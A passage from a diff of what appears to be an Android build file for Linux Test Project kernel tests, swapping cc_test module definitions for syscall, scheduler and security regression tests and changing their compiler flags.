-    srcs: ["testcases/kernel/syscalls/getgid/getgid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/getgid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setresuid05",
-    stem: "setresuid05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setresuid/setresuid05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setresuid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setresuid04",
-    stem: "setresuid04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setresuid/setresuid04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/setresuid",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pthserv",
-    stem: "pthserv",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/clisrv/writen.c",
-        "testcases/kernel/sched/clisrv/readline.c",
-        "testcases/kernel/sched/clisrv/pthserv.c",
-    ],
-    cflags: [
-        "-D_LINUX",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_pselect02_64",
-    stem: "pselect02_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pselect/pselect02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pselect",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftruncate03_64",
-    stem: "ftruncate03_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/ftruncate",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ns-mcast_join",
-    stem: "ns-mcast_join",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/stress/ns-tools/ns-common.c",
-        "testcases/network/stress/ns-tools/ns-mcast_join.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_statfs02_64",
-    stem: "statfs02_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/statfs/statfs02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/statfs",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_memtoy",
-    stem: "memtoy",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/hotplug/memory_hotplug/commands.c",
-        "testcases/kernel/hotplug/memory_hotplug/memtoy.c",
-        "testcases/kernel/hotplug/memory_hotplug/segment.c",
-    ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/hotplug/memory_hotplug",
-        "include/old",
-    ],
-}
-
-cc_test {
-    name: "ltp_nfs_flock_dgen",
-    stem: "nfs_flock_dgen",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/nfs/nfslock01/nfs_flock_func.c",
-        "testcases/network/nfs/nfslock01/nfs_flock_dgen.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_fcntl17_64",
-    stem: "fcntl17_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl17.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl09_64",
-    stem: "fcntl09_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl09.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl33_64",
-    stem: "fcntl33_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl33.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl07_64",
-    stem: "fcntl07_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl07.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ns-udpsender",
-    stem: "ns-udpsender",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/stress/ns-tools/ns-udpsender.c",
-        "testcases/network/stress/ns-tools/ns-common.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_ns-tcpclient",
-    stem: "ns-tcpclient",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/stress/ns-tools/ns-common.c",
-        "testcases/network/stress/ns-tools/ns-tcpclient.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_create-files",
-    stem: "create-files",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/fs/fs-bench/create-files.c",
-        "testcases/kernel/fs/fs-bench/boxmuler.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_ftest07",
-    stem: "ftest07",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/fs/ftest/ftest07.c",
-        "testcases/kernel/fs/ftest/libftest.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/dirty.c"],
+    cflags: ["-DAIO"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_ftruncate04_64",
-    stem: "ftruncate04_64",
+    name: "ltp_dirtyc0w",
+    stem: "dirtyc0w",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate04.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/ftruncate",
-        "include/old",
-    ],
+    srcs: ["testcases/kernel/security/dirtyc0w/dirtyc0w.c"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_pselect03_64",
-    stem: "pselect03_64",
+    name: "ltp_dirtyc0w_child",
+    stem: "dirtyc0w_child",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pselect/pselect03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pselect",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setregid04",
-    stem: "setregid04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setregid/setregid04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/setregid",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setregid03",
-    stem: "setregid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setregid/setregid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/setregid",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setregid02",
-    stem: "setregid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setregid/setregid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/setregid",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setregid01",
-    stem: "setregid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setregid/setregid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/setregid",
-    ],
+    srcs: ["testcases/kernel/security/dirtyc0w/dirtyc0w_child.c"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
@@ -13499,106 +1874,919 @@
         "testcases/kernel/io/disktest/signals.c",
     ],
     cflags: [
-        "-D_THREAD_SAFE",
+        "-DLINUX",
         "-D_FILE_OFFSET_BITS=64",
         "-D_LARGEFILE64_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
         "-D_GNU_SOURCE",
-        "-DLINUX",
+        "-D_THREAD_SAFE",
         "-D_LARGE_FILES",
     ],
     local_include_dirs: ["include/old"],
 }
 
 cc_test {
-    name: "ltp_stat02_64",
-    stem: "stat02_64",
+    name: "ltp_dma_thread_diotest",
+    stem: "dma_thread_diotest",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/stat/stat02.c"],
+    srcs: [
+        "testcases/kernel/io/direct_io/diotest_routines.c",
+        "testcases/kernel/io/direct_io/dma_thread_diotest.c",
+    ],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+        "-DSHARED_OFILE",
     ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/stat",
-        "include/old",
-    ],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_ns-igmp_querier",
-    stem: "ns-igmp_querier",
+    name: "ltp_dup01",
+    stem: "dup01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup/dup01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup02",
+    stem: "dup02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup/dup02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup03",
+    stem: "dup03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup/dup03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup04",
+    stem: "dup04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup/dup04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup05",
+    stem: "dup05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup/dup05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup06",
+    stem: "dup06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup/dup06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup07",
+    stem: "dup07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup/dup07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup201",
+    stem: "dup201",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup2/dup201.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup202",
+    stem: "dup202",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup2/dup202.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup203",
+    stem: "dup203",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup2/dup203.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup204",
+    stem: "dup204",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup2/dup204.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup205",
+    stem: "dup205",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup2/dup205.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup3_01",
+    stem: "dup3_01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup3/dup3_01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dup3_02",
+    stem: "dup3_02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/dup3/dup3_02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_eas_big_to_small",
+    stem: "eas_big_to_small",
     defaults: ["ltp_test_defaults"],
     srcs: [
-        "testcases/network/stress/ns-tools/ns-common.c",
-        "testcases/network/stress/ns-tools/ns-igmp_querier.c",
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/eas_big_to_small.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
     ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_eas_one_big_task",
+    stem: "eas_one_big_task",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/eas_one_big_task.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_eas_one_small_task",
+    stem: "eas_one_small_task",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/eas_one_small_task.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_eas_small_big_toggle",
+    stem: "eas_small_big_toggle",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/eas_small_big_toggle.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_eas_small_to_big",
+    stem: "eas_small_to_big",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/eas_small_to_big.c",
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_eas_two_big_three_small",
+    stem: "eas_two_big_three_small",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/eas_two_big_three_small.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_endian_switch01",
+    stem: "endian_switch01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/switch/endian_switch01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll-ltp",
+    stem: "epoll-ltp",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll/epoll-ltp.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_create1_01",
+    stem: "epoll_create1_01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_create1/epoll_create1_01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_ctl01",
+    stem: "epoll_ctl01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_ctl/epoll_ctl01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_ctl02",
+    stem: "epoll_ctl02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_ctl/epoll_ctl02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_pwait01",
+    stem: "epoll_pwait01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_pwait/epoll_pwait01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_wait01",
+    stem: "epoll_wait01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_wait/epoll_wait01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_wait02",
+    stem: "epoll_wait02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_wait/epoll_wait02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_epoll_wait03",
+    stem: "epoll_wait03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/epoll_wait/epoll_wait03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_event_generator",
+    stem: "event_generator",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/connectors/pec/event_generator.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_eventfd01",
+    stem: "eventfd01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/eventfd/eventfd01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_eventfd2_01",
+    stem: "eventfd2_01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/eventfd2/eventfd2_01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_eventfd2_02",
+    stem: "eventfd2_02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/eventfd2/eventfd2_02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_eventfd2_03",
+    stem: "eventfd2_03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/eventfd2/eventfd2_03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_exec_with_inh",
+    stem: "exec_with_inh",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/cap_bound/exec_with_inh.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_exec_without_inh",
+    stem: "exec_without_inh",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/security/cap_bound/exec_without_inh.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execl01",
+    stem: "execl01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execl/execl01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execl01_child",
+    stem: "execl01_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execl/execl01_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execle01",
+    stem: "execle01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execle/execle01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execle01_child",
+    stem: "execle01_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execle/execle01_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execlp01",
+    stem: "execlp01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execlp/execlp01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execlp01_child",
+    stem: "execlp01_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execlp/execlp01_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execv01",
+    stem: "execv01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execv/execv01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execv01_child",
+    stem: "execv01_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execv/execv01_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execve01",
+    stem: "execve01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execve/execve01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execve01_child",
+    stem: "execve01_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execve/execve01_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execve02",
+    stem: "execve02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execve/execve02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execve03",
+    stem: "execve03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execve/execve03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execve04",
+    stem: "execve04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execve/execve04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execve05",
+    stem: "execve05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execve/execve05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execve_child",
+    stem: "execve_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execve/execve_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execveat01",
+    stem: "execveat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execveat/execveat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execveat02",
+    stem: "execveat02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execveat/execveat02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execveat03",
+    stem: "execveat03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execveat/execveat03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execveat_child",
+    stem: "execveat_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execveat/execveat_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execveat_errno",
+    stem: "execveat_errno",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execveat/execveat_errno.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execvp01",
+    stem: "execvp01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execvp/execvp01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_execvp01_child",
+    stem: "execvp01_child",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/execvp/execvp01_child.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_exit01",
+    stem: "exit01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/exit/exit01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_exit02",
+    stem: "exit02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/exit/exit02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_exit_group01",
+    stem: "exit_group01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/exit_group/exit_group01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_ext4_file_time",
+    stem: "ext4_file_time",
+    defaults: ["ltp_test_defaults"],
